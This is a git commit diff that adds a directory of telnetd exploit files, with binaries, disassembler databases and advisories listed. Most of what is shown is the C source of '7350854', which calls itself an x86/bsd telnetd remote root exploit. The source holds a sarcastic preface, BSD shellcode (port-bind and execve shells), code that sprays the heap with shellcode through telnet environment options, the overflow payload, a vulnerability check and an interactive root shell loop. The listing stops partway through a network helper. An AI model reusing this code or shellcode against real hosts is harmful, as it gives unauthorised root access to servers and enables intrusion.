diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /exploits/7350854 | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'exploits/7350854')
| -rw-r--r-- | exploits/7350854/7350854 | bin | 0 -> 18649 bytes | |||
| -rw-r--r-- | exploits/7350854/7350854-r | bin | 0 -> 18712 bytes | |||
| -rw-r--r-- | exploits/7350854/7350854-r.c | 944 | ||||
| -rw-r--r-- | exploits/7350854/7350854.c | 877 | ||||
| -rw-r--r-- | exploits/7350854/7350854.id0 | bin | 0 -> 196608 bytes | |||
| -rw-r--r-- | exploits/7350854/7350854.id1 | bin | 0 -> 73728 bytes | |||
| -rw-r--r-- | exploits/7350854/7350854.nam | bin | 0 -> 16384 bytes | |||
| -rw-r--r-- | exploits/7350854/7350854.til | bin | 0 -> 64 bytes | |||
| -rw-r--r-- | exploits/7350854/teso-advisory-011.tar.gz | bin | 0 -> 2510 bytes | |||
| -rw-r--r-- | exploits/7350854/teso-advisory-011.txt | 307 | ||||
| -rw-r--r-- | exploits/7350854/teso-advisory-011/teso-advisory-011.txt | 153 | ||||
| -rw-r--r-- | exploits/7350854/teso-howitmaybeworkonsparc.txt | 59 |
12 files changed, 2340 insertions, 0 deletions
diff --git a/exploits/7350854/7350854 b/exploits/7350854/7350854 new file mode 100644 index 0000000..7647d66 --- /dev/null +++ b/exploits/7350854/7350854 | |||
| Binary files differ | |||
diff --git a/exploits/7350854/7350854-r b/exploits/7350854/7350854-r new file mode 100644 index 0000000..87bf289 --- /dev/null +++ b/exploits/7350854/7350854-r | |||
| Binary files differ | |||
diff --git a/exploits/7350854/7350854-r.c b/exploits/7350854/7350854-r.c new file mode 100644 index 0000000..40853ea --- /dev/null +++ b/exploits/7350854/7350854-r.c | |||
| @@ -0,0 +1,944 @@ | |||
| 1 | |||
| 2 | #ifdef DESPERATION | ||
| 3 | |||
| 4 | Yes, this is the exploit. Yes, fully legal, straight from the authors, this | ||
| 5 | time. No need to dwelve through archives or ask teenagers to hand it to you. | ||
| 6 | Just plain and simple. For free. | ||
| 7 | |||
| 8 | No need to worry about copyrights, privacy, about risk and results of your | ||
| 9 | actions. No need to fear legal prosecution, denial of service attacks or some | ||
| 10 | bad publicity. Just clean this time. Clean enough to right stick it into the | ||
| 11 | archive. | ||
| 12 | |||
| 13 | No need to violate something, your moral, your ethics or the rules you live | ||
| 14 | by. They all stay away from the center of the storm, safely. | ||
| 15 | |||
| 16 | I apologize to everyone I had asked not to disclose this and everyone who was | ||
| 17 | offended by my postings. Also the ones that send me threatening emails. And | ||
| 18 | those that pointed out my non conforming behaviour to me. I apologize. | ||
| 19 | |||
| 20 | |||
| 21 | Yes, full disclosure works, | ||
| 22 | Yes, this exploit helps everyone, | ||
| 23 | Yes, I truly love everyone involved. | ||
| 24 | |||
| 25 | Yes, dear pentester, take it and earn your living in the next pentest using | ||
| 26 | this code. Enjoy how easy it was, without the need to understand, the need to | ||
| 27 | know what is happening. Ah, relieving, quite fresh even. Tastes well, nearly | ||
| 28 | as well as your fresh certificates. And you did not even pay for it, so there | ||
| 29 | is more for certificates, right? Or buy your little children some new toy, for | ||
| 30 | it was a hard time the last years, and you wish you would have more time for | ||
| 31 | them, so show it to them. | ||
| 32 | |||
| 33 | Yes, dear collector, this is an item not to miss. Be sure to get the tagged | ||
| 34 | and broken versions too, for that your archive would be incomplete without. | ||
| 35 | And who wants that, an incomplete archive. If you like archiving, you can do | ||
| 36 | it all the time. Maybe someday you will have the archiving authority then, and | ||
| 37 | can charge money for it. Or delay things for non paying customers. But be sure | ||
| 38 | to copyright it, else some unethical person might steal your archive and nice | ||
| 39 | compilation in which you have invested so many hours and investor capital. But | ||
| 40 | I am sure you will manage this and for this I like you. | ||
| 41 | |||
| 42 | Yes, dear moderator, as you read until now, I have to congratulate you to | ||
| 43 | having improved your reading skills. Unbelieveable, I jump, enjoying your | ||
| 44 | newly aquainted capabilities and wish you good luck in the future. After all, | ||
| 45 | information wants to be free and the sooner one gets over it and apologizes, | ||
| 46 | the more time is there to drive with the new car in this sunny days. Good | ||
| 47 | work. | ||
| 48 | |||
| 49 | Yes, dear blackhat, for that you are remaining calm and quiet. For that, I | ||
| 50 | like you. You do not flame or provocate, you apply your wisdom after all. You | ||
| 51 | do not advocate, and you have not caused me sleepless nights. That is | ||
| 52 | something I truly like you for. | ||
| 53 | |||
| 54 | Yes, dear whitehat, your shiny hat blends by enlightning silver colours and I | ||
| 55 | truly understand what you want to give back with nobel goals. Your bright | ||
| 56 | shining hat overtones all the unnecessary details and really points to the | ||
| 57 | important things. This brightens the goal while it shades the rough way. | ||
| 58 | |||
| 59 | Yes, dear script kiddie, I am sorry I caused so much trouble. Just compile it | ||
| 60 | and start the fun, for that is what exploits are meant to be. And fun, it is | ||
| 61 | not important to understand things there, its important to enjoy it, right? | ||
| 62 | |||
| 63 | Yes, dear webmaster, we all like your sites and the content. Add this file to | ||
| 64 | your content and do the humankind good. You have full legal permission to do | ||
| 65 | so, no need to worry this time. No need to argue, ask or acknowledge. | ||
| 66 | |||
| 67 | Yes, dear author of source code, you have my true respect. You truly made the | ||
| 68 | internet what it is and I respect your true art of code. | ||
| 69 | |||
| 70 | Yes, dear law, for that most of us respect you. You provide the framework for | ||
| 71 | social life, for the basic forms of respect in todays commercial minded | ||
| 72 | livings. Sometimes we hate you and sometimes we rely on you. Since you remain | ||
| 73 | there everytime, it must be our fault. You cannot explain it, but I think I | ||
| 74 | understand what you mean. | ||
| 75 | |||
| 76 | |||
| 77 | Yes, now enjoy the exploit. | ||
| 78 | No strings attached. | ||
| 79 | |||
| 80 | #endif | ||
| 81 | |||
| 82 | /* 7350854 - x86/bsd telnetd remote root exploit | ||
| 83 | * | ||
| 84 | * bug found by scut 2001/06/09 | ||
| 85 | * further research by smiler, zip, lorian and me. | ||
| 86 | * thanks to zip's cool friend for giving me a testbed to play on | ||
| 87 | * | ||
| 88 | * tested against: BSDI BSD/OS 4.1 | ||
| 89 | * NetBSD 1.5 | ||
| 90 | * FreeBSD 3.1 | ||
| 91 | * FreeBSD 4.0-REL | ||
| 92 | * FreeBSD 4.2-REL | ||
| 93 | * FreeBSD 4.3-BETA | ||
| 94 | * FreeBSD 4.3-STABLE | ||
| 95 | * FreeBSD 4.3-RELEASE | ||
| 96 | * | ||
| 97 | */ | ||
| 98 | |||
| 99 | #define VERSION "0.0.7" | ||
| 100 | |||
| 101 | #include <sys/types.h> | ||
| 102 | #include <sys/time.h> | ||
| 103 | #include <sys/socket.h> | ||
| 104 | #include <netinet/in.h> | ||
| 105 | #include <arpa/inet.h> | ||
| 106 | #include <arpa/telnet.h> | ||
| 107 | #include <netdb.h> | ||
| 108 | #include <errno.h> | ||
| 109 | #include <fcntl.h> | ||
| 110 | #include <unistd.h> | ||
| 111 | #include <stdio.h> | ||
| 112 | #include <stdlib.h> | ||
| 113 | #include <string.h> | ||
| 114 | #include <time.h> | ||
| 115 | |||
| 116 | |||
| 117 | /* global variables, uhhohh! | ||
| 118 | */ | ||
| 119 | int mode = 16; | ||
| 120 | int num = 245; | ||
| 121 | int pop = 31500; /* puts code at 0x08fdff0a */ | ||
| 122 | int bs = 1; /* buffer start */ | ||
| 123 | |||
| 124 | int num34 = 244; | ||
| 125 | int pop34 = 71833; /* puts code at 0x0a0d08fe */ | ||
| 126 | int bs34 = 0; | ||
| 127 | |||
| 128 | int walk; /* populator walker */ | ||
| 129 | int force = 0; /* force exploitation */ | ||
| 130 | int checkonly = 0; /* check telnetd only */ | ||
| 131 | |||
| 132 | |||
| 133 | void usage (char *progname); | ||
| 134 | int xp_check (int fd); | ||
| 135 | void xp_pop (int fd); | ||
| 136 | void xp_shrinkwin (int fd); | ||
| 137 | void xp_setenv (int fd, unsigned char *var, unsigned char *val); | ||
| 138 | void xp (int fd); | ||
| 139 | void shell (int sock); | ||
| 140 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 141 | |||
| 142 | /* imported from shellkit */ | ||
| 143 | unsigned long int random_get (unsigned long int low, unsigned long int high); | ||
| 144 | void random_init (void); | ||
| 145 | int bad (unsigned char u); | ||
| 146 | int badstr (unsigned char *code, int code_len, unsigned char *bad, | ||
| 147 | int bad_len); | ||
| 148 | unsigned long int x86_nop_rwreg (void); | ||
| 149 | unsigned long int x86_nop_xfer (char *xferstr); | ||
| 150 | unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, | ||
| 151 | unsigned char *bad, int bad_len); | ||
| 152 | |||
| 153 | #define BSET(dest, len, val, bw) { \ | ||
| 154 | dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \ | ||
| 155 | dest |= val << (8 - bw - len); /* set value bits */ \ | ||
| 156 | bw += len; \ | ||
| 157 | } | ||
| 158 | |||
| 159 | /* imported from network.c */ | ||
| 160 | #define NET_CONNTIMEOUT 60 | ||
| 161 | int net_conntimeout = NET_CONNTIMEOUT; | ||
| 162 | |||
| 163 | unsigned long int net_resolve (char *host); | ||
| 164 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 165 | unsigned short int port, int sec); | ||
| 166 | |||
| 167 | |||
| 168 | /* x86/bsd PIC portshell shellcode | ||
| 169 | * by lorian/teso | ||
| 170 | * port 0x4444 (might want to change it here) | ||
| 171 | */ | ||
| 172 | unsigned char x86_bsd_portshell[] = | ||
| 173 | "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53" | ||
| 174 | "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5" | ||
| 175 | /* ^^ ^^ port */ | ||
| 176 | "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a" | ||
| 177 | "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a" | ||
| 178 | "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73" | ||
| 179 | "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd" | ||
| 180 | "\x80"; | ||
| 181 | |||
| 182 | /* x86/bsd PIC execve shellcode | ||
| 183 | * by lorian/teso | ||
| 184 | */ | ||
| 185 | unsigned char x86_bsd_execvesh[] = | ||
| 186 | "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68" | ||
| 187 | "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"; | ||
| 188 | |||
| 189 | /* x86/bsd(i)+solaris execve shellcode | ||
| 190 | * by lorian/teso | ||
| 191 | */ | ||
| 192 | unsigned char x86_bsd_compaexec[] = | ||
| 193 | "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0" | ||
| 194 | "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b" | ||
| 195 | "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" | ||
| 196 | "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7"; | ||
| 197 | |||
| 198 | |||
| 199 | unsigned char * shellcode = x86_bsd_compaexec; | ||
| 200 | |||
| 201 | |||
| 202 | #define COL 55 | ||
| 203 | |||
| 204 | |||
| 205 | void | ||
| 206 | usage (char *progname) | ||
| 207 | { | ||
| 208 | fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname); | ||
| 209 | fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n" | ||
| 210 | "-c\tcheck exploitability only, do not exploit\n" | ||
| 211 | "-f\tforce mode, override check results\n\n"); | ||
| 212 | fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n" | ||
| 213 | "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n" | ||
| 214 | "take that, or it will take very long for it (> 1h). beware.\n\n"); | ||
| 215 | |||
| 216 | fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n" | ||
| 217 | "\tNetBSD 1.5\n" | ||
| 218 | "\tBSDI BSD/OS 4.1\n\n"); | ||
| 219 | |||
| 220 | exit (EXIT_FAILURE); | ||
| 221 | } | ||
| 222 | |||
| 223 | int | ||
| 224 | main (int argc, char *argv[]) | ||
| 225 | { | ||
| 226 | char c; | ||
| 227 | char * progname; | ||
| 228 | char * dest; | ||
| 229 | int i, j, fd, | ||
| 230 | dots = 0; | ||
| 231 | int popc; | ||
| 232 | struct timeval start, | ||
| 233 | cur; | ||
| 234 | unsigned long long int g_pct, /* gaussian percentage */ | ||
| 235 | g_all; /* gaussian overall */ | ||
| 236 | |||
| 237 | |||
| 238 | fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n" | ||
| 239 | "by zip, lorian, smiler and scut.\n\n"); | ||
| 240 | |||
| 241 | progname = argv[0]; | ||
| 242 | if (argc < 2) | ||
| 243 | usage (progname); | ||
| 244 | |||
| 245 | |||
| 246 | while ((c = getopt (argc, argv, "n:cf")) != EOF) { | ||
| 247 | switch (c) { | ||
| 248 | case 'n': | ||
| 249 | num = atoi (optarg); | ||
| 250 | break; | ||
| 251 | case 'c': | ||
| 252 | checkonly = 1; | ||
| 253 | break; | ||
| 254 | case 'f': | ||
| 255 | force = 1; | ||
| 256 | break; | ||
| 257 | default: | ||
| 258 | usage (progname); | ||
| 259 | break; | ||
| 260 | } | ||
| 261 | } | ||
| 262 | |||
| 263 | dest = argv[argc - 1]; | ||
| 264 | if (dest[0] == '-') | ||
| 265 | usage (progname); | ||
| 266 | |||
| 267 | fd = net_connect (NULL, dest, 23, 20); | ||
| 268 | if (fd <= 0) { | ||
| 269 | fprintf (stderr, "failed to connect\n"); | ||
| 270 | exit (EXIT_FAILURE); | ||
| 271 | } | ||
| 272 | |||
| 273 | random_init (); | ||
| 274 | |||
| 275 | if (xp_check (fd) == 0 && force == 0) { | ||
| 276 | printf ("aborting\n"); | ||
| 277 | #ifndef DEBUG | ||
| 278 | exit (EXIT_FAILURE); | ||
| 279 | #endif | ||
| 280 | } | ||
| 281 | close (fd); | ||
| 282 | |||
| 283 | if (checkonly) | ||
| 284 | exit (EXIT_SUCCESS); | ||
| 285 | |||
| 286 | fd = net_connect (NULL, dest, 23, 20); | ||
| 287 | if (fd <= 0) { | ||
| 288 | fprintf (stderr, "failed to connect the second time\n"); | ||
| 289 | exit (EXIT_FAILURE); | ||
| 290 | } | ||
| 291 | |||
| 292 | printf ("\n#############################################################################\n\n"); | ||
| 293 | printf ("ok baby, times are rough, we send %dmb traffic to the remote\n" | ||
| 294 | "telnet daemon process, it will spill badly. but then, there is no\n" | ||
| 295 | "other way, sorry...\n\n", mode); | ||
| 296 | |||
| 297 | #ifdef DEBUG | ||
| 298 | getchar (); | ||
| 299 | #endif | ||
| 300 | printf ("## setting populators to populate heap address space\n"); | ||
| 301 | |||
| 302 | g_all = ((unsigned long long int)(pop / 2)) * | ||
| 303 | ((unsigned long long int)(pop + 1)); | ||
| 304 | g_pct = 0; | ||
| 305 | |||
| 306 | printf ("## number of setenvs (dots / network): %d\n", pop); | ||
| 307 | printf ("## number of walks (percentage / cpu): %Lu\n", g_all); | ||
| 308 | printf ("##\n"); | ||
| 309 | printf ("## the percentage is more realistic than the dots ;)\n"); | ||
| 310 | printf ("\n"); | ||
| 311 | printf ("percent |"); | ||
| 312 | |||
| 313 | popc = pop / COL; | ||
| 314 | for (i = pop / popc ; i >= 0 ; --i) | ||
| 315 | printf ("-"); | ||
| 316 | printf ("| ETA |\n"); | ||
| 317 | |||
| 318 | gettimeofday (&start, NULL); | ||
| 319 | |||
| 320 | for (walk = 0 ; walk < pop ; ++walk) { | ||
| 321 | xp_pop (fd); | ||
| 322 | |||
| 323 | g_pct += walk; | ||
| 324 | |||
| 325 | if (walk % popc == 0) | ||
| 326 | dots += 1; | ||
| 327 | |||
| 328 | if (walk % 200 == 0) { | ||
| 329 | int pct; | ||
| 330 | float pct_f; | ||
| 331 | unsigned long int diff; | ||
| 332 | |||
| 333 | pct = (int) ((g_pct * 100) / g_all); | ||
| 334 | pct_f = g_pct * 100; | ||
| 335 | pct_f /= (float) g_all; | ||
| 336 | |||
| 337 | /* calculate difference not caring about accuracy */ | ||
| 338 | gettimeofday (&cur, NULL); | ||
| 339 | diff = cur.tv_sec - start.tv_sec; | ||
| 340 | |||
| 341 | printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ? | ||
| 342 | "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f); | ||
| 343 | for (j = 0 ; j < dots ; ++j) | ||
| 344 | printf ("."); | ||
| 345 | for ( ; j <= COL ; ++j) | ||
| 346 | printf (" "); | ||
| 347 | |||
| 348 | if (pct != 0) { | ||
| 349 | diff = (int) ((((float)(100 - pct_f)) / | ||
| 350 | (float) pct_f) * diff); | ||
| 351 | printf ("| %02lu:%02lu:%02lu |", | ||
| 352 | diff / 3600, (diff % 3600) / 60, | ||
| 353 | diff % 60); | ||
| 354 | } else { | ||
| 355 | printf ("| --:--:-- |"); | ||
| 356 | } | ||
| 357 | |||
| 358 | fflush (stdout); | ||
| 359 | } | ||
| 360 | } | ||
| 361 | printf ("\n\n"); | ||
| 362 | |||
| 363 | printf ("## sleeping for 10 seconds to let the process recover\n"); | ||
| 364 | sleep (10); | ||
| 365 | |||
| 366 | #ifdef DEBUG | ||
| 367 | getchar (); | ||
| 368 | #endif | ||
| 369 | /* return into 0x08feff0a */ | ||
| 370 | xp (fd); | ||
| 371 | sleep (1); | ||
| 372 | |||
| 373 | printf ("## ok, you should now have a root shell\n"); | ||
| 374 | printf ("## as always, after hard times, there is a reward...\n"); | ||
| 375 | printf ("\n\ncommand: "); | ||
| 376 | fflush (stdout); | ||
| 377 | |||
| 378 | shell (fd); | ||
| 379 | |||
| 380 | exit (EXIT_SUCCESS); | ||
| 381 | } | ||
| 382 | |||
| 383 | |||
| 384 | void | ||
| 385 | xp (int fd) | ||
| 386 | { | ||
| 387 | int n; | ||
| 388 | unsigned char buf[2048]; | ||
| 389 | |||
| 390 | |||
| 391 | /* basic overflow */ | ||
| 392 | for (n = bs ; n < sizeof (buf) ; ++n) | ||
| 393 | buf[n] = (n - bs) % 2 ? '\xf6' : '\xff'; | ||
| 394 | |||
| 395 | /* some nifty alignment */ | ||
| 396 | buf[0] = '\xff'; /* IAC */ | ||
| 397 | buf[1] = '\xf5'; /* AO */ | ||
| 398 | |||
| 399 | if (mode == 16) { | ||
| 400 | buf[2] = '\xff'; /* IAC */ | ||
| 401 | buf[3] = '\xfb'; /* WILL */ | ||
| 402 | buf[4] = '\x26'; /* ENCRYPTION */ | ||
| 403 | } | ||
| 404 | |||
| 405 | /* force 0x08feff0a as return */ | ||
| 406 | buf[num++] = '\xff'; | ||
| 407 | buf[num++] = '\xfb'; | ||
| 408 | buf[num++] = '\x08'; | ||
| 409 | |||
| 410 | /* and the output_encrypt overwrite action, yay! */ | ||
| 411 | buf[num++] = '\xff'; | ||
| 412 | buf[num++] = '\xf6'; | ||
| 413 | |||
| 414 | /* XXX: should not fail here, though we should better loop and check */ | ||
| 415 | n = send (fd, buf, num, 0); | ||
| 416 | if (n != num) { | ||
| 417 | perror ("xp:send"); | ||
| 418 | } | ||
| 419 | } | ||
| 420 | |||
| 421 | |||
| 422 | #ifdef INSANE_MIND | ||
| 423 | |||
| 424 | void | ||
| 425 | xp_shrinkwin (int fd) | ||
| 426 | { | ||
| 427 | int n; | ||
| 428 | int iobc; | ||
| 429 | int p = 0; | ||
| 430 | unsigned char buf[2048]; | ||
| 431 | char c; | ||
| 432 | int val; | ||
| 433 | int len; | ||
| 434 | |||
| 435 | for (n = 0 ; n < sizeof (buf) ; ++n) | ||
| 436 | buf[n] = n % 2 ? '\xf6' : '\xff'; | ||
| 437 | |||
| 438 | len = sizeof (val); | ||
| 439 | getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); | ||
| 440 | printf ("SO_SNDLOWAT = %d\n", val); | ||
| 441 | val = 1; | ||
| 442 | printf ("setsockopt: %s\n", | ||
| 443 | setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ? | ||
| 444 | "FAILED" : "SUCCESS"); | ||
| 445 | val = 1234; | ||
| 446 | getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); | ||
| 447 | printf ("SO_SNDLOWAT = %d\n", val); | ||
| 448 | |||
| 449 | getchar(); | ||
| 450 | while (1) { | ||
| 451 | if (p > 105) | ||
| 452 | c = getchar(); | ||
| 453 | if (c == 'r') { | ||
| 454 | getchar(); | ||
| 455 | read (fd, &buf[1024], 384); | ||
| 456 | } else if (c == 'o') { | ||
| 457 | getchar(); | ||
| 458 | send (fd, "7", 1, MSG_OOB); | ||
| 459 | } else if (c != 'r') { | ||
| 460 | usleep(100000); | ||
| 461 | n = send (fd, buf, 112, 0); | ||
| 462 | ioctl (fd, FIONREAD, &iobc); | ||
| 463 | len = sizeof (val); | ||
| 464 | getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len); | ||
| 465 | printf ("%02d. send: %d local: %d/%d (%d left)\n", | ||
| 466 | ++p, n, iobc, val, val - iobc); | ||
| 467 | } | ||
| 468 | } | ||
| 469 | } | ||
| 470 | #endif | ||
| 471 | |||
| 472 | |||
| 473 | /* xp_pop - populator function | ||
| 474 | * | ||
| 475 | * causes remote telnet daemon to setenv() variables with our content, populating | ||
| 476 | * the heap with shellcode. this will get us more nopspace and place our shellcode | ||
| 477 | * where the nice addresses are, that we can create by writing telnet option | ||
| 478 | * strings. | ||
| 479 | * | ||
| 480 | * XXX: there seems to be a maximum size for the environment value you can set, | ||
| 481 | * which is 510. we use 496 bytes for nopspace and shellcode therefore. | ||
| 482 | * should work, rather similar to tsig tcp/malloc exploitation. -sc | ||
| 483 | */ | ||
| 484 | |||
| 485 | void | ||
| 486 | xp_pop (int fd) | ||
| 487 | { | ||
| 488 | unsigned char var[16]; | ||
| 489 | unsigned char storebuf[496]; | ||
| 490 | sprintf (var, "%06x", walk); | ||
| 491 | #ifdef DEBUG | ||
| 492 | memset (storebuf, '\xcc', sizeof (storebuf)); | ||
| 493 | #else | ||
| 494 | /* memset (storebuf, '\x90', sizeof (storebuf)); */ | ||
| 495 | x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5); | ||
| 496 | memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1, | ||
| 497 | shellcode, strlen (shellcode)); | ||
| 498 | #endif | ||
| 499 | storebuf[sizeof (storebuf) - 1] = '\0'; | ||
| 500 | |||
| 501 | xp_setenv (fd, var, storebuf); | ||
| 502 | } | ||
| 503 | |||
| 504 | |||
| 505 | void | ||
| 506 | xp_setenv (int fd, unsigned char *var, unsigned char *val) | ||
| 507 | { | ||
| 508 | int n = 0; | ||
| 509 | unsigned char buf[2048]; | ||
| 510 | |||
| 511 | buf[n++] = IAC; | ||
| 512 | buf[n++] = SB; | ||
| 513 | buf[n++] = TELOPT_NEW_ENVIRON; | ||
| 514 | buf[n++] = TELQUAL_IS; | ||
| 515 | buf[n++] = ENV_USERVAR; | ||
| 516 | |||
| 517 | /* should not contain < 0x04 */ | ||
| 518 | while (*var) { | ||
| 519 | if (*var == IAC) | ||
| 520 | buf[n++] = *var; | ||
| 521 | buf[n++] = *var++; | ||
| 522 | } | ||
| 523 | buf[n++] = NEW_ENV_VALUE; | ||
| 524 | while (*val) { | ||
| 525 | if (*val == IAC) | ||
| 526 | buf[n++] = *val; | ||
| 527 | buf[n++] = *val++; | ||
| 528 | } | ||
| 529 | buf[n++] = IAC; | ||
| 530 | buf[n++] = SE; | ||
| 531 | |||
| 532 | if (send (fd, buf, n, 0) != n) { | ||
| 533 | perror ("xp_setenv:send"); | ||
| 534 | exit (EXIT_FAILURE); | ||
| 535 | } | ||
| 536 | } | ||
| 537 | |||
| 538 | |||
| 539 | int | ||
| 540 | xp_check (int fd) | ||
| 541 | { | ||
| 542 | int n; | ||
| 543 | unsigned int expect_len = 15; | ||
| 544 | unsigned char expected[] = | ||
| 545 | "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26"; | ||
| 546 | /* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/ | ||
| 547 | unsigned int additional_len = 8; | ||
| 548 | unsigned char additional[] = | ||
| 549 | "\xff\xfa\x26\x01\x01\x02\xff\xf0"; | ||
| 550 | /*IAC SB ENC ........... IAC SE */ | ||
| 551 | |||
| 552 | unsigned char buf[128]; | ||
| 553 | |||
| 554 | read (fd, buf, sizeof (buf)); | ||
| 555 | |||
| 556 | n = 0; | ||
| 557 | buf[n++] = IAC; /* 0xff */ | ||
| 558 | buf[n++] = AYT; /* 0xf6 */ | ||
| 559 | |||
| 560 | buf[n++] = IAC; /* 0xff */ | ||
| 561 | buf[n++] = WILL; /* 0xfb */ | ||
| 562 | buf[n++] = TELOPT_NAOL; /* 0x08 */ | ||
| 563 | |||
| 564 | buf[n++] = IAC; /* 0xff */ | ||
| 565 | buf[n++] = WILL; /* 0xfb */ | ||
| 566 | buf[n++] = TELOPT_ENCRYPT; /* 0x26 */ | ||
| 567 | |||
| 568 | #ifdef DEBUG | ||
| 569 | hexdump ("check send buffer", buf, n); | ||
| 570 | #endif | ||
| 571 | if (send (fd, buf, n, 0) != n) { | ||
| 572 | perror ("xp_check:send"); | ||
| 573 | exit (EXIT_FAILURE); | ||
| 574 | } | ||
| 575 | |||
| 576 | n = read (fd, buf, sizeof (buf)); | ||
| 577 | #ifdef DEBUG | ||
| 578 | hexdump ("check recv buffer", buf, n); | ||
| 579 | #endif | ||
| 580 | |||
| 581 | if (memcmp (buf, expected, expect_len) == 0) { | ||
| 582 | if (memcmp (buf+expect_len, additional, additional_len) == 0) { | ||
| 583 | mode = 16; | ||
| 584 | } else { | ||
| 585 | mode = 34; | ||
| 586 | bs = bs34; | ||
| 587 | } | ||
| 588 | printf ("check: PASSED, using %dmb mode\n", mode); | ||
| 589 | |||
| 590 | return (1); | ||
| 591 | } | ||
| 592 | |||
| 593 | printf ("check: FAILED\n"); | ||
| 594 | |||
| 595 | return (0); | ||
| 596 | } | ||
| 597 | |||
| 598 | |||
| 599 | void | ||
| 600 | shell (int sock) | ||
| 601 | { | ||
| 602 | int l; | ||
| 603 | char buf[512]; | ||
| 604 | fd_set rfds; | ||
| 605 | |||
| 606 | |||
| 607 | while (1) { | ||
| 608 | FD_SET (0, &rfds); | ||
| 609 | FD_SET (sock, &rfds); | ||
| 610 | |||
| 611 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 612 | if (FD_ISSET (0, &rfds)) { | ||
| 613 | l = read (0, buf, sizeof (buf)); | ||
| 614 | if (l <= 0) { | ||
| 615 | perror ("read user"); | ||
| 616 | exit (EXIT_FAILURE); | ||
| 617 | } | ||
| 618 | write (sock, buf, l); | ||
| 619 | } | ||
| 620 | |||
| 621 | if (FD_ISSET (sock, &rfds)) { | ||
| 622 | l = read (sock, buf, sizeof (buf)); | ||
| 623 | if (l <= 0) { | ||
| 624 | perror ("read remote"); | ||
| 625 | exit (EXIT_FAILURE); | ||
| 626 | } | ||
| 627 | write (1, buf, l); | ||
| 628 | } | ||
| 629 | } | ||
| 630 | } | ||
| 631 | |||
| 632 | |||
| 633 | /* ripped from zodiac */ | ||
| 634 | void | ||
| 635 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 636 | { | ||
| 637 | unsigned int dp, p; /* data pointer */ | ||
| 638 | const char trans[] = | ||
| 639 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 640 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 641 | "nopqrstuvwxyz{|}~...................................." | ||
| 642 | "....................................................." | ||
| 643 | "........................................"; | ||
| 644 | |||
| 645 | |||
| 646 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 647 | |||
| 648 | for (dp = 1; dp <= amount; dp++) { | ||
| 649 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 650 | if ((dp % 8) == 0) | ||
| 651 | fprintf (stderr, " "); | ||
| 652 | if ((dp % 16) == 0) { | ||
| 653 | fprintf (stderr, "| "); | ||
| 654 | p = dp; | ||
| 655 | for (dp -= 16; dp < p; dp++) | ||
| 656 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 657 | fflush (stderr); | ||
| 658 | fprintf (stderr, "\n"); | ||
| 659 | } | ||
| 660 | fflush (stderr); | ||
| 661 | } | ||
| 662 | if ((amount % 16) != 0) { | ||
| 663 | p = dp = 16 - (amount % 16); | ||
| 664 | for (dp = p; dp > 0; dp--) { | ||
| 665 | fprintf (stderr, " "); | ||
| 666 | if (((dp % 8) == 0) && (p != 8)) | ||
| 667 | fprintf (stderr, " "); | ||
| 668 | fflush (stderr); | ||
| 669 | } | ||
| 670 | fprintf (stderr, " | "); | ||
| 671 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 672 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 673 | fflush (stderr); | ||
| 674 | } | ||
| 675 | fprintf (stderr, "\n"); | ||
| 676 | |||
| 677 | return; | ||
| 678 | } | ||
| 679 | |||
| 680 | |||
| 681 | |||
| 682 | unsigned long int | ||
| 683 | net_resolve (char *host) | ||
| 684 | { | ||
| 685 | long i; | ||
| 686 | struct hostent *he; | ||
| 687 | |||
| 688 | i = inet_addr(host); | ||
